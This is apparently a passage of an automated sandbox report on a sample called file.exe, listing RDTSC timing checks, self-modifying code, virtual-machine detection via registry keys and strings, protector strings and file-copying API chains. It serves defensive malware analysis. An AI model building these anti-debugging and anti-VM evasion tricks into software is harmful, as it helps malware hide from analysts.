Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4E244 second address: F4E249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4E249 second address: F4E24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4C778 second address: F4C796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FAB30D3D456h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F553A0 second address: F553A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F54F3B second address: F54F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F54F42 second address: F54F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FAB30C06337h 0x0000000b popad 0x0000000c pop ebx 0x0000000d jl 00007FAB30C06332h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F550D6 second address: F550F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB30D3D453h 0x00000009 jnp 00007FAB30D3D446h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F550F3 second address: F55104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jno 00007FAB30C06326h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F62403 second address: F6240D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAB30D3D44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F62529 second address: F62536 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAB30C06328h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F652B0 second address: F652B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F652B4 second address: F652C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FAB30C0632Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73BA3 second address: F73BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73BAE second address: F73BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06332h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73BC6 second address: F73BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB30D3D457h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F73BE1 second address: F73BF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06334h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F75AB7 second address: F75AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAB30D3D446h 0x0000000a popad 0x0000000b jmp 00007FAB30D3D458h 0x00000010 jc 00007FAB30D3D448h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push edx 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F75920 second address: F7592B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7592B second address: F75949 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAB30D3D451h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jnp 00007FAB30D3D446h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F75949 second address: F75968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FAB30C06326h 0x00000010 jmp 00007FAB30C0632Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DF63 second address: F7DF69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DF69 second address: F7DF6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DF6F second address: F7DF79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAB30D3D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DF79 second address: F7DFAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FAB30C0632Bh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FAB30C0633Ch 0x00000016 pushad 0x00000017 jp 00007FAB30C06326h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7CE45 second address: F7CE4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7CE4B second address: F7CE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FAB30C06326h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7CE58 second address: F7CE5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7CE5C second address: F7CE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7CE6E second address: F7CE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D459h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7D12B second address: F7D12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7D12F second address: F7D15E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAB30D3D459h 0x0000000f pushad 0x00000010 jp 00007FAB30D3D446h 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DCE6 second address: F7DCEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DCEC second address: F7DCF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F7DCF0 second address: F7DCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F8E52A second address: F8E52E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F8E52E second address: F8E549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FAB30C0632Ah 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E9B3BE second address: E9B3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAB30D3D446h 0x0000000a pop ecx 0x0000000b jmp 00007FAB30D3D452h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F90503 second address: F9050A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F90359 second address: F9035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F9035F second address: F9037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jne 00007FAB30C0632Eh 0x0000000f pushad 0x00000010 je 00007FAB30C06326h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F9037F second address: F903A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D458h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jl 00007FAB30D3D446h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F953B7 second address: F953DC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAB30C06339h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jg 00007FAB30C06326h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96C9F second address: F96CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96CA3 second address: F96CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96CA7 second address: F96CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAB30D3D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FAB30D3D446h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F96CBB second address: F96CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E88D01 second address: E88D16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D44Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E88D16 second address: E88D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C06332h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E88D2C second address: E88D7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007FAB30D3D459h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop ecx 0x00000016 pushad 0x00000017 jmp 00007FAB30D3D44Dh 0x0000001c ja 00007FAB30D3D446h 0x00000022 jg 00007FAB30D3D446h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB3C30 second address: FB3C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C0632Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB3F77 second address: FB3F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007FAB30D3D45Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB3F9A second address: FB3FD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FAB30C06326h 0x0000000b jng 00007FAB30C06326h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007FAB30C0632Ch 0x0000001a jmp 00007FAB30C06332h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB414A second address: FB4150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB4715 second address: FB4738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAB30C0632Fh 0x00000011 js 00007FAB30C0632Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB4BA4 second address: FB4BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7F19 second address: FB7F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7F1D second address: FB7F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FAB30D3D448h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 add dx, 51ACh 0x00000029 push dword ptr [ebp+122D2602h] 0x0000002f jng 00007FAB30D3D45Ch 0x00000035 call 00007FAB30D3D44Fh 0x0000003a mov dword ptr [ebp+122D29A7h], edx 0x00000040 pop edx 0x00000041 call 00007FAB30D3D449h 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FAB30D3D458h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7F96 second address: FB7F9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7F9C second address: FB7FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAB30D3D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7FA6 second address: FB7FBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007FAB30C0632Ah 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7FBD second address: FB7FC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB7FC3 second address: FB7FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FB92CF second address: FB92F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007FAB30D3D446h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 jmp 00007FAB30D3D44Ah 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBAFE6 second address: FBAFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E92EC4 second address: E92EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D457h 0x00000009 jmp 00007FAB30D3D44Ch 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E92EEC second address: E92F21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06331h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jp 00007FAB30C06328h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAB30C06333h 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E92F21 second address: E92F25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FBCAA6 second address: FBCAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F80488 second address: 4F8049A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ebx, 6CC29764h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8049A second address: 4F8049F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8049F second address: 4F804C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D458h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F804C1 second address: 4F8050E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FAB30C06332h 0x0000000f sub esi, 629DDC78h 0x00000015 jmp 00007FAB30C0632Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FAB30C06335h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8058B second address: 4F8059B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB30D3D44Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8059B second address: 4F805C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FAB30C0632Ch 0x00000010 sbb ch, FFFFFF88h 0x00000013 jmp 00007FAB30C0632Bh 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b mov si, 8815h 0x0000001f rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: D1DAE2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: D1DB36 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: ECBEBA instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found evaded block containing many API calls
Source: C:\Users\user\Desktop\file.exe Evaded block: after key decision
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A440F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 0_2_00A440F0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_00A3E530
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A3F7B0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A447C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 0_2_00A447C0
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A31710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A31710
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_00A3DB80
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A43B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_00A43B00
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A44B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A44B60
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_00A3EE20
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_00A3BE40
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A3DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00A3DF10
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00A31160 GetSystemInfo,ExitProcess, 0_2_00A31160
Source: file.exe, file.exe, 00000000.00000002.1282834680.0000000000EAB000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1283384849.00000000012FE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1283384849.0000000001375000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1283384849.0000000001344000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.1283384849.0000000001375000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW~
Source: file.exe, 00000000.00000002.1282834680.0000000000EAB000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\file.exe API call chain: ExitProcess graph end node
